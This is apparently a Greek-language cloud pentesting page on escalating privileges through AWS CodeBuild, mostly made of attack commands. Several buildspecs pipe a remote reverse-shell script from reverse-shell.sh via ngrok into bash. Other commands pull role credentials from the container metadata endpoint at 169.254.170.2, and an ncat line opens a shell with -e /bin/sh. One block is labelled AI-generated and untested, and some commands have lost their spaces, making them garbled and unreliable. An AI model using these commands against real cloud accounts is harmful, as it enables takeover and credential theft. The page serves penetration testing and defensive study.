Ένας επιτιθέμενος με τα δικαιώματα iam:PassRole, codebuild:CreateProject, και codebuild:StartBuild ή codebuild:StartBuildBatch θα μπορούσε να εξελίξει τα προνόμια σε οποιοδήποτε ρόλο IAM του codebuild δημιουργώντας έναν ενεργό.
# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"JSON="{\"name\": \"codebuild-demo-project\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"aws/codebuild/standard:1.0\",\"computeType\": \"BUILD_GENERAL1_SMALL\"},\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"}"REV_PATH="/tmp/rev.json"printf"$JSON"> $REV_PATH# Create projectawscodebuildcreate-project--cli-input-jsonfile://$REV_PATH# Build itawscodebuildstart-build--project-namecodebuild-demo-project# Wait 3-4 mins until it's executed# Then you can access the logs in the console to find the AWS role token in the output# Delete the projectawscodebuilddelete-project--namecodebuild-demo-project
# Generated by AI, not tested# Create a buildspec.yml file with reverse shell commandecho'version: 0.2phases:build:commands:- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash'>buildspec.yml# Upload the buildspec to the bucket and give access to everyoneawss3cpbuildspec.ymls3:<S3_BUCKET_NAME>/buildspec.yml# Create a new CodeBuild project with the buildspec.yml fileaws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60
# Start a build with the new projectawscodebuildstart-build--project-namereverse-shell-project
Πιθανή Επίπτωση: Άμεση αύξηση προνομίων σε οποιονδήποτε ρόλο AWS Codebuild.
Σε ένα container Codebuild, το αρχείο /codebuild/output/tmp/env.sh περιέχει όλες τις μεταβλητές περιβάλλοντος που χρειάζονται για να έχετε πρόσβαση στα διαπιστευτήρια μεταδεδομένων.
Αυτό το αρχείο περιέχει τη μεταβλητή περιβάλλοντος AWS_CONTAINER_CREDENTIALS_RELATIVE_URI που περιέχει τη διαδρομή URL για την πρόσβαση στα διαπιστευτήρια. Θα είναι κάτι σαν αυτό /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
Προσθέστε αυτό στο URL http://169.254.170.2/ και θα μπορείτε να ανακτήσετε τα διαπιστευτήρια του ρόλου.
Επιπλέον, περιέχει επίσης τη μεταβλητή περιβάλλοντος ECS_CONTAINER_METADATA_URI που περιέχει το πλήρες URL για να λάβετε πληροφορίες μεταδεδομένων σχετικά με το container.
Όπως και στην προηγούμενη ενότητα, αν αντί να δημιουργήσετε ένα έργο κατασκευής μπορείτε να το τροποποιήσετε, μπορείτε να υποδείξετε τον ρόλο IAM και να κλέψετε το διακριτικό.
REV_PATH="/tmp/codebuild_pwn.json"# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"# You need to indicate the name of the project you want to modifyJSON="{\"name\": \"<codebuild-demo-project>\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"aws/codebuild/standard:1.0\",\"computeType\": \"BUILD_GENERAL1_SMALL\"},\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"}"printf"$JSON"> $REV_PATHawscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build--project-namecodebuild-demo-project
Πιθανή Επίπτωση: Άμεση αύξηση προνομίων σε οποιονδήποτε ρόλο AWS Codebuild.
Όπως και στην προηγούμενη ενότητα αλλά χωρίς την άδεια iam:PassRole, μπορείτε να καταχραστείτε αυτές τις άδειες για τροποποίηση υπαρχόντων έργων Codebuild και πρόσβαση στον ρόλο που έχουν ήδη ανατεθεί.
REV_PATH="/tmp/codebuild_pwn.json"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"# You need to indicate the name of the project you want to modifyJSON="{\"name\": \"codebuild_lab_3_project\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\"
},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",\"computeType\": \"BUILD_GENERAL1_SMALL\",\"imagePullCredentialsType\": \"CODEBUILD\"}}"printf"$JSON"> $REV_PATH# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!awscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build-batch--project-namecodebuild-demo-project
REV_PATH="/tmp/codebuild_pwn.json"# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"JSON="{\"name\": \"<codebuild-demo-project>\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",\"computeType\": \"BUILD_GENERAL1_SMALL\",\"imagePullCredentialsType\": \"CODEBUILD\"}}"# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!printf"$JSON"> $REV_PATHawscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build--project-namecodebuild-demo-project
Πιθανή Επίπτωση: Άμεση αύξηση προνομίων στους συνδεδεμένους ρόλους AWS Codebuild.
SSM
Έχοντας επαρκή δικαιώματα για να ξεκινήσετε μια συνεδρία ssm, είναι δυνατόν να μπείτε μέσα σε ένα έργο Codebuild που υποδέχεται.
Το έργο codebuild θα πρέπει να έχει ένα σημείο αναμονής:
Ένας επιτιθέμενος που μπορεί να ξεκινήσει/επανεκκινήσει μια διαδικασία κατασκευής ενός συγκεκριμένου έργου CodeBuild το οποίο αποθηκεύει το αρχείο buildspec.yml σε ένα κάδο S3 στον οποίο ο επιτιθέμενος έχει πρόσβαση εγγραφής, μπορεί να λάβει εκτέλεση εντολών στη διαδικασία CodeBuild.
Σημείωση: η εξέλιξη είναι σχετική μόνο εάν ο εργαζόμενος του CodeBuild έχει έναν διαφορετικό ρόλο, ελπίζουμε με περισσότερα προνομιούχα δικαιώματα, από αυτόν του επιτιθέμενου.
awss3cps3://<build-configuration-files-bucket>/buildspec.yml./vim./buildspec.yml# Add the following lines in the "phases > pre_builds > commands" section## - apt-get install nmap -y# - ncat <IP> <PORT> -e /bin/shawss3cp./buildspec.ymls3://<build-configuration-files-bucket>/buildspec.ymlawscodebuildstart-build--project-name<project-name># Wait for the reverse shell :)
Μπορείτε να χρησιμοποιήσετε κάτι τέτοιο builspec για να πάρετε ένα αντίστροφο κέλυφος:
Επίπτωση: Άμεση αύξηση προνομίων στον ρόλο που χρησιμοποιεί ο εργαζόμενος AWS CodeBuild που συνήθως έχει υψηλά προνόμια.
Σημειώστε ότι το buildspec μπορεί να αναμένεται σε μορφή zip, οπότε ένας επιτιθέμενος θα χρειαζόταν να κατεβάσει, αποσυμπιέσει, τροποποιήσει το buildspec.yml από τον ριζικό κατάλογο, να συμπιέσει ξανά και να μεταφορτώσει.